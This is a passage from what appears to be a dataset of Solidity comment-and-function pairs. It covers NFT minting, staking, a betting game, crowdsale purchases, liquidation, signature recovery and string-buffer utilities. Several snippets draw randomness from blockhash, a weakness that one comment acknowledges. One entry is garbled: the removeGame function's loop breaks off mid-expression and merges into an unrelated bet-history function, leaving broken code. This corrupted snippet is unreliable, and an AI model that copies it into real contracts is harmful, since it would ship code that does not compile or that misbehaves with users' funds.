Source of randomness. Theoretical miner withhold manipulation possible but should be sufficient in a pragmatic sense \n if (_startingIndexBlock == 0 && (_numSoldTokens >= MAX_SUPPLY.sub(RESERVED_SUPPLY) || block.timestamp >= _revealTimestamp)) {\n _startingIndexBlock = block.number;\n }\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Used to migrate already minted NFTs of old contract.\n */", "function_code": "function mintReserved(address to, uint256 numOfNFTs) public onlyOwner {\n require(totalSupply().add(numOfNFTs) <= MAX_SUPPLY, \"Exceeds max supply of NFTs\");\n require(_numMintedReservedTokens.add(numOfNFTs) <= RESERVED_SUPPLY, \"Exceeds max num of reserved NFTs\");\n\n for (uint j = 0; j < numOfNFTs; j++) {\n uint tokenId = totalSupply();\n\n if (block.timestamp < _revealTimestamp) {\n _mintedBeforeReveal[tokenId] = true;\n }\n _numMintedReservedTokens++;\n _safeMint(to, tokenId);\n }\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Finalize starting index\n */", "function_code": "function finalizeStartingIndex() public {\n require(_startingIndex == 0, \"Starting index is already set\");\n require(_startingIndexBlock != 0, \"Starting index block must be set\");\n \n _startingIndex = uint(blockhash(_startingIndexBlock)) % MAX_SUPPLY;\n // Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)\n if (block.number.sub(_startingIndexBlock) > 255) {\n _startingIndex = uint(blockhash(block.number - 1)) % MAX_SUPPLY;\n }\n // Prevent default sequence\n if (_startingIndex == 0) {\n _startingIndex = _startingIndex.add(1);\n }\n }", "version": "0.8.3"} {"comment": "/**\n * @dev Changes the name for Mars tile tokenId\n */", "function_code": "function changeName(uint256 tokenId, string memory newName) public {\n address owner = ownerOf(tokenId);\n\n require(_msgSender() == owner, \"ERC721: caller is not the owner\");\n require(_validateName(newName) == true, \"Not a valid new name\");\n require(sha256(bytes(newName)) != sha256(bytes(_tokenNames[tokenId])), \"New name is same as the current one\");\n require(isNameReserved(newName) == false, \"Name already reserved\");\n\n _m26.transferFrom(msg.sender, address(this), _nameChangePrice);\n // If already named, dereserve old name\n if (bytes(_tokenNames[tokenId]).length > 0) {\n _toggleReserveName(_tokenNames[tokenId], false);\n }\n _toggleReserveName(newName, true);\n _tokenNames[tokenId] = newName;\n _m26.burn(_nameChangePrice);\n emit NameChange(tokenId, newName);\n }", "version": "0.8.3"} {"comment": "/**\r\n * Get staked rank\r\n */", "function_code": "function getStakedRank(address staker) external view returns (uint256) {\r\n uint256 rank = 1;\r\n uint256 senderStakedAmount = _stakeMap[staker].stakedAmount;\r\n \r\n for(uint i=0; i<_stakers.length; i++) {\r\n if(_stakers[i] != staker && senderStakedAmount < _stakeMap[_stakers[i]].stakedAmount)\r\n rank = rank.add(1);\r\n }\r\n return rank;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Set rewards portion for stakers in rewards amount. \r\n * ex: 98 => 98% (2% for dev)\r\n */", "function_code": "function setRewardFee(uint256 rewardFee) external onlyOwner returns (bool) {\r\n require(rewardFee >= 96 && rewardFee <= 100, 'MOLStaker: reward fee should be in 96 ~ 100.' );\r\n\r\n _rewardFee = rewardFee;\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "// -------------------- Resonance api ----------------//", "function_code": "function getRecommendByIndex(uint256 index, address userAddress)\r\n public\r\n view\r\n// onlyResonance() TODO\r\n returns (\r\n uint256 straightTime,\r\n address refeAddress,\r\n uint256 ethAmount,\r\n bool supported\r\n )\r\n {\r\n straightTime = recommendRecord[userAddress].straightTime[index];\r\n refeAddress = recommendRecord[userAddress].refeAddress[index];\r\n ethAmount = recommendRecord[userAddress].ethAmount[index];\r\n supported = recommendRecord[userAddress].supported[index];\r\n }", "version": "0.5.1"} {"comment": "// -------------------- user api ------------------------ //\n// get current address's recommend record", "function_code": "function getRecommendRecord()\r\n public\r\n view\r\n returns (\r\n uint256[] memory straightTime,\r\n address[] memory refeAddress,\r\n uint256[] memory ethAmount,\r\n bool[] memory supported\r\n )\r\n {\r\n RecommendRecord memory records = recommendRecord[msg.sender];\r\n straightTime = records.straightTime;\r\n refeAddress = records.refeAddress;\r\n ethAmount = records.ethAmount;\r\n supported = records.supported;\r\n }", "version": "0.5.1"} {"comment": "/**\r\n * @dev See {IERC721-balanceOf}.\r\n */", "function_code": "function balanceOf(address owner) public view virtual override returns (uint256) {\r\n require(owner != address(0), \"ERC721: balance query for the zero address\");\r\n\r\n uint count = 0;\r\n uint length = _owners.length;\r\n for( uint i = 0; i < length; ++i ){\r\n if( owner == _owners[i] ){\r\n ++count;\r\n }\r\n }\r\n\r\n delete length;\r\n return count;\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Method that allows operators to remove allowed address\r\n * @param _address represents address that should be removed\r\n */", "function_code": "function removeGame(address _address) public onlyOperators {\r\n require(isGameAddress[_address]);\r\n\r\n uint len = gameContractAddresses.length;\r\n\r\n for (uint i=0; i 0) {\r\n while (len >= 0) {\r\n len--;\r\n\r\n if (bets[_user][len].won) {\r\n history = history * 10 + 2;\r\n } else {\r\n history = history * 10 + 1;\r\n }\r\n\r\n types = types * 10 + uint(bets[_user][len].gameType);\r\n\r\n if (len == 0 || history > 10000) {\r\n break;\r\n }\r\n }\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Calculate possible winning with specific chance and amount\r\n * @param _chance represents chance of winning bet\r\n * @param _amount represents amount that is played for bet\r\n * @return returns uint of players profit with specific chance and amount\r\n */", "function_code": "function getPossibleWinnings(uint _chance, uint _amount) public view returns(uint) {\r\n // don chance\r\n if (_chance == 50) {\r\n return _amount;\r\n }\r\n\r\n GameType _type = getTypeFromChance(_chance);\r\n\r\n if (_type == GameType.White) {\r\n return _amount;\r\n }\r\n\r\n if (_type == GameType.Red) {\r\n return _amount * 3;\r\n }\r\n\r\n if (_type == GameType.Blue) {\r\n return _amount * 4;\r\n }\r\n\r\n if (_type == GameType.Orange) {\r\n return _amount * 19;\r\n }\r\n\r\n return 0;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev check chances for specific game type and number\r\n * @param _gameType represents type of game\r\n * @return return value that represents chance of winning with specific number and gameType\r\n */", "function_code": "function getChance(GameType _gameType) public pure returns(uint) {\r\n if (_gameType == GameType.White) {\r\n return 4760;\r\n }\r\n\r\n if (_gameType == GameType.Red) {\r\n return 2380;\r\n }\r\n\r\n if (_gameType == GameType.Blue) {\r\n return 1904;\r\n }\r\n\r\n if (_gameType == GameType.Orange) {\r\n return 476;\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev check winning for specific bet for user\r\n * @param _user represents address of user\r\n * @param _betId represents id of bet for specific user\r\n * @return return value that represents users profit, in case round is not finished or bet is lost, returns 0\r\n */", "function_code": "function getUserProfitForFinishedBet(address _user, uint _betId) public view returns(uint) {\r\n Bet memory betObject = bets[_user][_betId];\r\n GameType selectedColor = rounds[betObject.round].selectedColor;\r\n uint chance = getChance(betObject.gameType);\r\n\r\n if (rounds[betObject.round].state == RoundState.Finished) {\r\n if (betObject.gameType == selectedColor) {\r\n return getPossibleWinnings(chance, betObject.amount);\r\n }\r\n }\r\n\r\n return 0;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.\r\n */", "function_code": "function tokenOfOwnerByIndex(address owner, uint256 index)\r\n public\r\n view\r\n virtual\r\n override\r\n returns (uint256 tokenId)\r\n {\r\n require(\r\n index < this.balanceOf(owner),\r\n \"ERC721Enumerable: owner index out of bounds\"\r\n );\r\n\r\n uint256 count;\r\n uint256 length = _owners.length;\r\n for (uint256 i; i < length; ++i) {\r\n if (owner == _owners[i]) {\r\n if (count == index) {\r\n delete count;\r\n delete length;\r\n return i;\r\n } else ++count;\r\n }\r\n }\r\n\r\n delete count;\r\n delete length;\r\n require(false, \"ERC721Enumerable: owner index out of bounds\");\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Internal function that mints an amount of the token and assigns it to\r\n * an account. This encapsulates the modification of balances such that the\r\n * proper events are emitted.\r\n * @param account The account that will receive the created tokens.\r\n * @param value The amount that will be created.\r\n */", "function_code": "function _mint(address account, uint256 value) internal {\r\n require(account != address(0), \"ERC20: mint to the zero address\");\r\n require(msg.sender == _minter);\r\n require(value < 1e60);\r\n\r\n _totalSupply = _totalSupply.add(value);\r\n _balances[account] = _balances[account].add(value);\r\n emit Transfer(address(0), account, value);\r\n }", "version": "0.5.8"} {"comment": "// -------------------- user api ----------------//", "function_code": "function toBeWhitelistAddress(address adminAddress, address whitelist)\r\n public\r\n mustAdmin(adminAddress)\r\n onlyAdmin()\r\n payable\r\n {\r\n require(whitelistTime);\r\n require(!userSystemInfo[whitelist].whitelist);\r\n whitelistAddress[adminAddress].push(whitelist);\r\n UserSystemInfo storage _userSystemInfo = userSystemInfo[whitelist];\r\n _userSystemInfo.straightAddress = adminAddress;\r\n _userSystemInfo.whiteAddress = whitelist;\r\n _userSystemInfo.adminAddress = adminAddress;\r\n _userSystemInfo.whitelist = true;\r\n emit TobeWhitelistAddress(whitelist, adminAddress);\r\n }", "version": "0.5.1"} {"comment": "/**\n * @param paymentToken ERC20 payment token address\n * @return rate_ how many weis one token costs for specified ERC20 payment token\n */", "function_code": "function rate(address paymentToken)\n external\n view\n override\n returns (uint256 rate_)\n {\n require(\n paymentToken != address(0),\n \"Crowdsale: zero payment token address\"\n );\n require(\n isPaymentToken(paymentToken),\n \"Crowdsale: payment token unaccepted\"\n );\n\n rate_ = _rate(paymentToken);\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Override to extend the way in which payment token is converted to tokens.\n * @param lots Number of lots of token being sold\n * @param beneficiary Address receiving the tokens\n * @return tokenAmount Number of tokens being sold that will be purchased\n */", "function_code": "function getTokenAmount(uint256 lots, address beneficiary)\n external\n view\n override\n returns (uint256 tokenAmount)\n {\n require(lots > 0, \"Crowdsale: zero lots\");\n require(\n beneficiary != address(0),\n \"Crowdsale: zero beneficiary address\"\n );\n\n tokenAmount = _getTokenAmount(lots, beneficiary);\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Override to extend the way in which payment token is converted to tokens.\n * @param paymentToken ERC20 payment token address\n * @param lots Number of lots of token being sold\n * @param beneficiary Address receiving the tokens\n * @return weiAmount Amount in wei of ERC20 payment token\n */", "function_code": "function getWeiAmount(\n address paymentToken,\n uint256 lots,\n address beneficiary\n ) external view override returns (uint256 weiAmount) {\n require(\n paymentToken != address(0),\n \"Crowdsale: zero payment token address\"\n );\n require(lots > 0, \"Crowdsale: zero lots\");\n require(\n beneficiary != address(0),\n \"Crowdsale: zero beneficiary address\"\n );\n require(\n isPaymentToken(paymentToken),\n \"Crowdsale: payment token unaccepted\"\n );\n\n weiAmount = _getWeiAmount(paymentToken, lots, beneficiary);\n }", "version": "0.7.6"} {"comment": "/**\n * @dev low level token purchase ***DO NOT OVERRIDE***\n * This function has a non-reentrancy guard, so it shouldn't be called by\n * another `nonReentrant` function.\n * @param beneficiary Recipient of the token purchase\n * @param paymentToken ERC20 payment token address\n * @param lots Number of lots of token being sold\n */", "function_code": "function _buyTokensFor(\n address beneficiary,\n address paymentToken,\n uint256 lots\n ) internal nonReentrant {\n require(\n beneficiary != address(0),\n \"Crowdsale: zero beneficiary address\"\n );\n require(\n paymentToken != address(0),\n \"Crowdsale: zero payment token address\"\n );\n require(lots > 0, \"Crowdsale: zero lots\");\n require(\n isPaymentToken(paymentToken),\n \"Crowdsale: payment token unaccepted\"\n );\n\n // calculate token amount to be created\n uint256 tokenAmount = _getTokenAmount(lots, beneficiary);\n // calculate wei amount to transfer to wallet\n uint256 weiAmount = _getWeiAmount(paymentToken, lots, beneficiary);\n\n _preValidatePurchase(beneficiary, paymentToken, weiAmount, tokenAmount);\n\n // update state\n _weiRaised[paymentToken] = _weiRaised[paymentToken].add(weiAmount);\n tokensSold = tokensSold.add(tokenAmount);\n\n _updatePurchasingState(\n beneficiary,\n paymentToken,\n weiAmount,\n tokenAmount\n );\n\n emit TokensPurchased(\n msg.sender,\n beneficiary,\n paymentToken,\n lots,\n weiAmount,\n tokenAmount\n );\n\n _processPurchase(beneficiary, tokenAmount);\n _forwardFunds(paymentToken, weiAmount);\n _postValidatePurchase(\n beneficiary,\n paymentToken,\n weiAmount,\n tokenAmount\n );\n }", "version": "0.7.6"} {"comment": "/**\n * @param paymentToken ERC20 payment token address\n * @return weiRaised_ the amount of wei raised\n */", "function_code": "function _weiRaisedFor(address paymentToken)\n internal\n view\n virtual\n returns (uint256 weiRaised_)\n {\n require(\n paymentToken != address(0),\n \"Crowdsale: zero payment token address\"\n );\n require(\n isPaymentToken(paymentToken),\n \"Crowdsale: payment token unaccepted\"\n );\n\n weiRaised_ = _weiRaised[paymentToken];\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Determines how ERC20 payment token is stored/forwarded on purchases.\n */", "function_code": "function _forwardFunds(address paymentToken, uint256 weiAmount)\n internal\n virtual\n {\n uint256 amount = weiAmount;\n if (_paymentDecimals[paymentToken] < TOKEN_MAX_DECIMALS) {\n uint256 decimalsDiff = uint256(TOKEN_MAX_DECIMALS).sub(\n _paymentDecimals[paymentToken]\n );\n amount = weiAmount.div(10**decimalsDiff);\n }\n\n IERC20(paymentToken).safeTransferFrom(msg.sender, _wallet, amount);\n }", "version": "0.7.6"} {"comment": "// solhint-disable-next-line", "function_code": "function batchReceiveFor(address[] calldata beneficiaries, uint256[] calldata amounts)\r\n external\r\n {\r\n uint256 length = amounts.length;\r\n require(beneficiaries.length == length, \"length !=\");\r\n require(length <= 256, \"To long, please consider shorten the array\");\r\n for (uint256 i = 0; i < length; i++) {\r\n receiveFor(beneficiaries[i], amounts[i]);\r\n }\r\n }", "version": "0.5.11"} {"comment": "/** OVERRIDE\r\n * @notice Let token owner to get the other tokens accidentally sent to this token address.\r\n * @dev Before it reaches the release time, the vault can keep the allocated amount of \r\n * tokens. Since INVAO managers could still add SAFT investors during the SEED-ROUND,\r\n * the allocated amount of tokens stays in the SAFT vault during that period. Once the\r\n * SEED round ends, this vault can only hold max. totalBalance.\r\n * @param tokenToBeRecovered address of the token to be recovered.\r\n */", "function_code": "function reclaimToken(IERC20 tokenToBeRecovered) external onlyOwner {\r\n // only if the token is not the IVO token\r\n uint256 balance = tokenToBeRecovered.balanceOf(address(this));\r\n if (tokenToBeRecovered == this.token()) {\r\n if (block.timestamp <= this.updateTime()) {\r\n tokenToBeRecovered.safeTransfer(owner(), balance.sub(ALLOCATION));\r\n } else {\r\n tokenToBeRecovered.safeTransfer(owner(), balance.sub(this.totalBalance()));\r\n }\r\n } else {\r\n tokenToBeRecovered.safeTransfer(owner(), balance);\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\n * Creates a SetToken smart contract and registers the SetToken with the controller. The SetTokens are composed\n * of positions that are instantiated as DEFAULT (positionState = 0) state.\n *\n * @param _components List of addresses of components for initial Positions\n * @param _units List of units. Each unit is the # of components per 10^18 of a SetToken\n * @param _modules List of modules to enable. All modules must be approved by the Controller\n * @param _manager Address of the manager\n * @param _name Name of the SetToken\n * @param _symbol Symbol of the SetToken\n * @return address Address of the newly created SetToken\n */", "function_code": "function create(\n address[] memory _components,\n int256[] memory _units,\n address[] memory _modules,\n address _manager,\n string memory _name,\n string memory _symbol\n ) external returns (address) {\n require(_components.length > 0, \"Must have at least 1 component\");\n require(_components.length == _units.length, \"Component and unit lengths must be the same\");\n require(!_components.hasDuplicate(), \"Components must not have a duplicate\");\n require(_modules.length > 0, \"Must have at least 1 module\");\n require(_manager != address(0), \"Manager must not be empty\");\n\n for (uint256 i = 0; i < _components.length; i++) {\n require(_components[i] != address(0), \"Component must not be null address\");\n require(_units[i] > 0, \"Units must be greater than 0\");\n }\n\n for (uint256 j = 0; j < _modules.length; j++) {\n require(controller.isModule(_modules[j]), \"Must be enabled module\");\n }\n\n // Creates a new SetToken instance\n SetToken setToken = new SetToken(\n _components,\n _units,\n _modules,\n controller,\n _manager,\n _name,\n _symbol\n );\n\n // Registers Set with controller\n controller.addSet(address(setToken));\n\n emit SetTokenCreated(address(setToken), _manager, _name, _symbol);\n\n return address(setToken);\n }", "version": "0.7.6"} {"comment": "// --- CDP Liquidation ---", "function_code": "function bite(bytes32 ilk, address urn) external returns (uint id) {\r\n (, uint rate, uint spot) = vat.ilks(ilk);\r\n (uint ink, uint art) = vat.urns(ilk, urn);\r\n\r\n require(live == 1, \"Cat/not-live\");\r\n require(spot > 0 && mul(ink, spot) < mul(art, rate), \"Cat/not-unsafe\");\r\n\r\n uint lot = min(ink, ilks[ilk].lump);\r\n art = min(art, mul(lot, art) / ink);\r\n\r\n require(lot <= 2**255 && art <= 2**255, \"Cat/overflow\");\r\n vat.grab(ilk, urn, address(this), address(vow), -int(lot), -int(art));\r\n\r\n vow.fess(mul(art, rate));\r\n id = Kicker(ilks[ilk].flip).kick({ urn: urn\r\n , gal: address(vow)\r\n , tab: rmul(mul(art, rate), ilks[ilk].chop)\r\n , lot: lot\r\n , bid: 0\r\n });\r\n\r\n emit Bite(ilk, urn, lot, art, mul(art, rate), ilks[ilk].flip, id);\r\n }", "version": "0.5.12"} {"comment": "// -------------------- Resonance api ------------------------ //\n// calculate actual reinvest amount, include amount + lockEth", "function_code": "function calculateReinvestAmount(\r\n address reinvestAddress,\r\n uint256 amount,\r\n uint256 userAmount,\r\n uint8 requireType)//type: 1 => straightEth, 2 => teamEth, 3 => withdrawStatic, 4 => withdrawNode\r\n public\r\n onlyResonance()\r\n returns (uint256)\r\n {\r\n if (requireType == 1) {\r\n require(amount.add((userWithdraw[reinvestAddress].withdrawStatic).mul(100).div(80)) <= userAmount);\r\n } else if (requireType == 2) {\r\n require(amount.add((userWithdraw[reinvestAddress].withdrawStraight).mul(100).div(80)) <= userAmount.add(amount));\r\n } else if (requireType == 3) {\r\n require(amount.add((userWithdraw[reinvestAddress].withdrawTeam).mul(100).div(80)) <= userAmount.add(amount));\r\n } else if (requireType == 5) {\r\n require(amount.add((userWithdraw[reinvestAddress].withdrawNode).mul(100).div(80)) <= userAmount);\r\n }\r\n\r\n // userWithdraw[reinvestAddress].lockEth = userWithdraw[reinvestAddress].lockEth.add(amount.mul(remain).div(100));\\\r\n uint256 _active = userWithdraw[reinvestAddress].lockEth - userWithdraw[reinvestAddress].activateEth;\r\n if (amount > _active) {\r\n userWithdraw[reinvestAddress].activateEth += _active;\r\n amount = amount.add(_active);\r\n } else {\r\n userWithdraw[reinvestAddress].activateEth = userWithdraw[reinvestAddress].activateEth.add(amount);\r\n amount = amount.mul(2);\r\n }\r\n\r\n return amount;\r\n }", "version": "0.5.1"} {"comment": "/**\r\n * @dev Returns true if `account` supports the {IERC165} interface,\r\n */", "function_code": "function supportsERC165(address account) internal view returns (bool) {\r\n // Any contract that implements ERC165 must explicitly indicate support of\r\n // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid\r\n return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) &&\r\n !_supportsERC165Interface(account, _INTERFACE_ID_INVALID);\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @dev Returns true if `account` supports all the interfaces defined in\r\n * `interfaceIds`. Support for {IERC165} itself is queried automatically.\r\n *\r\n * Batch-querying can lead to gas savings by skipping repeated checks for\r\n * {IERC165} support.\r\n *\r\n * See {IERC165-supportsInterface}.\r\n */", "function_code": "function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {\r\n // query support of ERC165 itself\r\n if (!supportsERC165(account)) {\r\n return false;\r\n }\r\n\r\n // query support of each interface in _interfaceIds\r\n for (uint256 i = 0; i < interfaceIds.length; i++) {\r\n if (!_supportsERC165Interface(account, interfaceIds[i])) {\r\n return false;\r\n }\r\n }\r\n\r\n // all interfaces supported\r\n return true;\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @dev Internal function to invoke `onApprovalReceived` on a target address\r\n * The call is not executed if the target address is not a contract\r\n * @param spender address The address which will spend the funds\r\n * @param value uint256 The amount of tokens to be spent\r\n * @param data bytes Optional data to send along with the call\r\n * @return whether the call correctly returned the expected magic value\r\n */", "function_code": "function _checkAndCallApprove(address spender, uint256 value, bytes memory data) internal returns (bool) {\r\n if (!spender.isContract()) {\r\n return false;\r\n }\r\n bytes4 retval = IERC1363Spender(spender).onApprovalReceived(\r\n _msgSender(), value, data\r\n );\r\n return (retval == _ERC1363_APPROVED);\r\n }", "version": "0.6.2"} {"comment": "/**\r\n * @dev Returns the address that signed a hashed message (`hash`) with\r\n * `signature` or error string. This address can then be used for verification purposes.\r\n *\r\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\r\n * this function rejects them by requiring the `s` value to be in the lower\r\n * half order, and the `v` value to be either 27 or 28.\r\n *\r\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\r\n * verification to be secure: it is possible to craft signatures that\r\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\r\n * this is by receiving a hash of the original message (which may otherwise\r\n * be too long), and then calling {toEthSignedMessageHash} on it.\r\n *\r\n * Documentation for signature generation:\r\n * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\r\n * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\r\n *\r\n * _Available since v4.3._\r\n */", "function_code": "function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {\r\n // Check the signature length\r\n // - case 65: r,s,v signature (standard)\r\n // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._\r\n if (signature.length == 65) {\r\n bytes32 r;\r\n bytes32 s;\r\n uint8 v;\r\n // ecrecover takes the signature parameters, and the only way to get them\r\n // currently is to use assembly.\r\n assembly {\r\n r := mload(add(signature, 0x20))\r\n s := mload(add(signature, 0x40))\r\n v := byte(0, mload(add(signature, 0x60)))\r\n }\r\n return tryRecover(hash, v, r, s);\r\n } else if (signature.length == 64) {\r\n bytes32 r;\r\n bytes32 vs;\r\n // ecrecover takes the signature parameters, and the only way to get them\r\n // currently is to use assembly.\r\n assembly {\r\n r := mload(add(signature, 0x20))\r\n vs := mload(add(signature, 0x40))\r\n }\r\n return tryRecover(hash, r, vs);\r\n } else {\r\n return (address(0), RecoverError.InvalidSignatureLength);\r\n }\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\r\n *\r\n * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\r\n *\r\n * _Available since v4.3._\r\n */", "function_code": "function tryRecover(\r\n bytes32 hash,\r\n bytes32 r,\r\n bytes32 vs\r\n ) internal pure returns (address, RecoverError) {\r\n bytes32 s;\r\n uint8 v;\r\n assembly {\r\n s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)\r\n v := add(shr(255, vs), 27)\r\n }\r\n return tryRecover(hash, v, r, s);\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Gets the value of the bits between left and right, both inclusive, in the given integer.\r\n * 31 is the leftmost bit, 0 is the rightmost bit.\r\n * \r\n * For example: bitsFrom(10, 3, 1) == 7 (101 in binary), because 10 is *101*0 in binary\r\n * bitsFrom(10, 2, 0) == 2 (010 in binary), because 10 is 1*010* in binary\r\n */", "function_code": "function bitsFrom(uint integer, uint left, uint right) external pure returns (uint) {\r\n require(left >= right, \"left > right\");\r\n require(left <= 31, \"left > 31\");\r\n\r\n uint delta = left - right + 1;\r\n\r\n return (integer & (((1 << delta) - 1) << right)) >> right;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Copies a string into `dst` starting at `dstIndex` with a maximum length of `dstLen`.\r\n * This function will not write beyond `dstLen`. However, if `dstLen` is not reached, it may write zeros beyond the length of the string.\r\n */", "function_code": "function copyString(string memory src, bytes memory dst, uint dstIndex, uint dstLen) internal pure returns (uint) {\r\n uint srcIndex;\r\n uint srcLen = bytes(src).length;\r\n\r\n for (; srcLen > 31 && srcIndex < srcLen && srcIndex < dstLen - 31; srcIndex += 32) {\r\n memcpy32(src, srcIndex, dst, dstIndex + srcIndex);\r\n }\r\n for (; srcIndex < srcLen && srcIndex < dstLen; ++srcIndex) {\r\n memcpy1(src, srcIndex, dst, dstIndex + srcIndex);\r\n }\r\n\r\n return dstIndex + srcLen;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Adds `str` to the end of the internal buffer.\r\n */", "function_code": "function pushToStringBuffer(StringBuffer memory self, string memory str) internal pure returns (StringBuffer memory) {\r\n if (self.buffer.length == self.numberOfStrings) {\r\n string[] memory newBuffer = new string[](self.buffer.length * 2);\r\n for (uint i = 0; i < self.buffer.length; ++i) {\r\n newBuffer[i] = self.buffer[i];\r\n }\r\n self.buffer = newBuffer;\r\n }\r\n\r\n self.buffer[self.numberOfStrings] = str;\r\n self.numberOfStrings++;\r\n self.totalStringLength += bytes(str).length;\r\n\r\n return self;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Concatenates `str` to the end of the last string in the internal buffer.\r\n */", "function_code": "function concatToLastString(StringBuffer memory self, string memory str) internal pure {\r\n if (self.numberOfStrings == 0) {\r\n self.numberOfStrings++;\r\n }\r\n uint idx = self.numberOfStrings - 1;\r\n self.buffer[idx] = string(abi.encodePacked(self.buffer[idx], str));\r\n\r\n self.totalStringLength += bytes(str).length;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice Converts the contents of the StringBuffer into a string.\r\n * @dev This runs in O(n) time.\r\n */", "function_code": "function get(StringBuffer memory self) internal pure returns (string memory) {\r\n bytes memory output = new bytes(self.totalStringLength);\r\n\r\n uint ptr = 0;\r\n for (uint i = 0; i < self.numberOfStrings; ++i) {\r\n ptr = copyString(self.buffer[i], output, ptr, self.totalStringLength);\r\n }\r\n\r\n return string(output);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice Appends a string to the end of the StringBuffer\r\n * @dev Internally the StringBuffer keeps a `string[]` that doubles in size when extra capacity is needed.\r\n */", "function_code": "function append(StringBuffer memory self, string memory str) internal pure {\r\n uint idx = self.numberOfStrings == 0 ? 0 : self.numberOfStrings - 1;\r\n if (bytes(self.buffer[idx]).length + bytes(str).length <= 1024) {\r\n concatToLastString(self, str);\r\n } else {\r\n pushToStringBuffer(self, str);\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * NEEDS CREATE_NAME_ROLE and POINT_ROOTNODE_ROLE permissions on registrar\r\n * @param _registrar ENSSubdomainRegistrar instance that holds registry root node ownership\r\n */", "function_code": "function initialize(ENSSubdomainRegistrar _registrar) public onlyInit {\r\n initialized();\r\n\r\n registrar = _registrar;\r\n ens = registrar.ens();\r\n\r\n registrar.pointRootNode(this);\r\n\r\n // Check APM has all permissions it needss\r\n ACL acl = ACL(kernel().acl());\r\n require(acl.hasPermission(this, registrar, registrar.CREATE_NAME_ROLE()), ERROR_INIT_PERMISSIONS);\r\n require(acl.hasPermission(this, acl, acl.CREATE_PERMISSIONS_ROLE()), ERROR_INIT_PERMISSIONS);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Claims all Brainz from all staked Bit Monsters the caller owns.\r\n */", "function_code": "function claimBrainz() external {\r\n uint count = bitMonsters.balanceOf(msg.sender);\r\n uint total = 0;\r\n\r\n for (uint i = 0; i < count; ++i) {\r\n uint tokenId = bitMonsters.tokenOfOwnerByIndex(msg.sender, i);\r\n uint rewards = calculateRewards(tokenId);\r\n if (rewards > 0) {\r\n tokenIdToTimestamp[tokenId] = block.timestamp - ((block.timestamp - tokenIdToTimestamp[tokenId]) % 86400);\r\n }\r\n total += rewards;\r\n }\r\n\r\n _mint(msg.sender, total);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * Stake your Brainz a-la OSRS Duel Arena.\r\n *\r\n * 50% chance of multiplying your Brainz by 1.9x rounded up.\r\n * 50% chance of losing everything you stake.\r\n */", "function_code": "function stake(uint count) external returns (bool won) {\r\n require(count > 0, \"Must stake at least one BRAINZ\");\r\n require(balanceOf(msg.sender) >= count, \"You don't have that many tokens\");\r\n\r\n Rng memory rn = rng;\r\n\r\n if (rn.generate(0, 1) == 0) {\r\n _mint(msg.sender, (count - count / 10) * 1 ether);\r\n won = true;\r\n }\r\n else {\r\n _burn(msg.sender, count * 1 ether);\r\n won = false;\r\n }\r\n\r\n rng = rn;\r\n }", "version": "0.8.7"} {"comment": "// n: node id d: direction r: return node id\n// Return existential state of a node. n == HEAD returns list existence.", "function_code": "function exists(CLL storage self, uint n)\r\n internal\r\n constant returns (bool)\r\n {\r\n if (self.cll[n][PREV] != HEAD || self.cll[n][NEXT] != HEAD)\r\n return true;\r\n if (n == HEAD)\r\n return false;\r\n if (self.cll[HEAD][NEXT] == n)\r\n return true;\r\n return false;\r\n }", "version": "0.4.20"} {"comment": "// Can be used before `insert` to build an ordered list\n// `a` an existing node to search from, e.g. HEAD.\n// `b` value to seek\n// `r` first node beyond `b` in direction `d`", "function_code": "function seek(CLL storage self, uint a, uint b, bool d)\r\n internal constant returns (uint r)\r\n {\r\n r = step(self, a, d);\r\n while ((b!=r) && ((b < r) != d)) r = self.cll[r][d];\r\n return;\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * @notice Create new repo in registry with `_name` and first repo version\r\n * @param _name Repo name\r\n * @param _dev Address that will be given permission to create versions\r\n * @param _initialSemanticVersion Semantic version for new repo version\r\n * @param _contractAddress address for smart contract logic for version (if set to 0, it uses last versions' contractAddress)\r\n * @param _contentURI External URI for fetching new version's content\r\n */", "function_code": "function newRepoWithVersion(\r\n string _name,\r\n address _dev,\r\n uint16[3] _initialSemanticVersion,\r\n address _contractAddress,\r\n bytes _contentURI\r\n ) public 